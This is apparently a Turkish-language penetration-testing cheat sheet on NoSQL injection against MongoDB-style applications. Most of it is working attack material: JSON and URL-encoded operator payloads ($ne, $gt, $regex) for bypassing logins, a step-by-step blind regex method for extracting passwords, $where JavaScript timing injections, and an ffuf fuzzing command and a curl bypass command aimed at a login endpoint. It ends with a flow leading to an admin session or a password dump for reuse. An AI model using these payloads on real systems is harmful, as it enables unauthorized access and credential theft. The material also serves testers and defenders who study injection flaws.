Skip to content

NoSQL Injection

OWASP A03 difficulty: orta

NoSQL Injection, MongoDB gibi belge tabanlı veritabanlarını kullanan uygulamalarda, kullanıcı girdisinin sorgu nesnesine güvenilmeden yerleştirilmesi sonucu ortaya çıkar. Klasik SQLi’den farkı; enjeksiyonun çoğu zaman operatör ($ne, $gt, $regex) veya JavaScript ($where) düzeyinde olmasıdır.

Operatör enjeksiyonu — JSON'da string yerine {"$ne": null}
Sözdizimi/JS — $where / mapReduce / $function içine kod
{ "username": "admin", "password": "guess" }
{ "username": "admin", "password": { "$ne": null } }
{ "username": { "$gt": "" }, "password": { "$gt": "" } }
{ "username": "admin", "password": { "$regex": "^.*" } }
{ "username": "admin", "password": { "$nin": [] } }

URL-encoded (qs parser):

username[$ne]=x&password[$ne]=x
username=admin&password[$regex]=^a
username[$exists]=true&password[$exists]=true

Content-Type’ı application/json yapıp aynı operatörleri gövdeye taşı.

  1. Karakter tahmin — password[$regex]=^a , ^b … yanıt farkı oracle.

  2. Charset daralt — ^[0-9] / ^[a-f] sonra tek karakter.

  3. Uzat — ^admin_pa , ^admin_pas …

  4. Otomatikleştir — Intruder / script; oracle: status, length, JSON field.

password[$regex]=^secret$
password[$regex]=^sec
password[$regex]=^s.*t$
' || '1'=='1
'; return true; var x='
'; sleep(5000); var x='
'; var date = new Date(); do { cur = new Date(); } while(cur-date < 5000); var x='

Modern MongoDB $where kısıtlayabilir; legacy’de ve $function aggregation’da risk sürer.

{ "email": { "$regex": ".*@" } }
{ "$or": [ { "role": "admin" }, { "role": "root" } ] }
{ "age": { "$gt": 0 } }
{ "username": { "$in": ["admin", "root", "sa"] } }

$orderby / projection manipülasyonu bazı sürücülerde ekstra alan sızdırır.

' " \ ; { } ]
'"`{ ;$Foo}
{"$ne": 1}
Terminal window
ffuf -u https://hedef/login -X POST -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$FUZZ":null}}' \
-w <(printf '%s\n' ne gt lt regex nin in exists) -mc all
{ "username": ["admin"], "password": ["x"] }
{ "username": null, "password": { "$ne": "" } }

Bazı uygulamalar tip kontrolü yapmadan Mongo’ya iletir.

CouchDB / Elasticsearch — script / query injection
Redis — komut enjeksiyonu (CRLF protokol; ayrı sınıf)
Cassandra / CQL — SQLi'ye yakın sözdizimi
[ ] Login JSON + form $ne/$regex
[ ] Search/filter uçları
[ ] Blind regex extract
[ ] $where timing
[ ] Content-Type switch
[ ] Operator wordlist Intruder

NoSQLi · curl bypass

embedded tool
Generated command
curl -s -X POST https://hedef/login -d username[$ne]=x&password[$ne]=x
JSON login → password[$ne]=null
→ admin oturumu
→ veya regex ile parola dump → reuse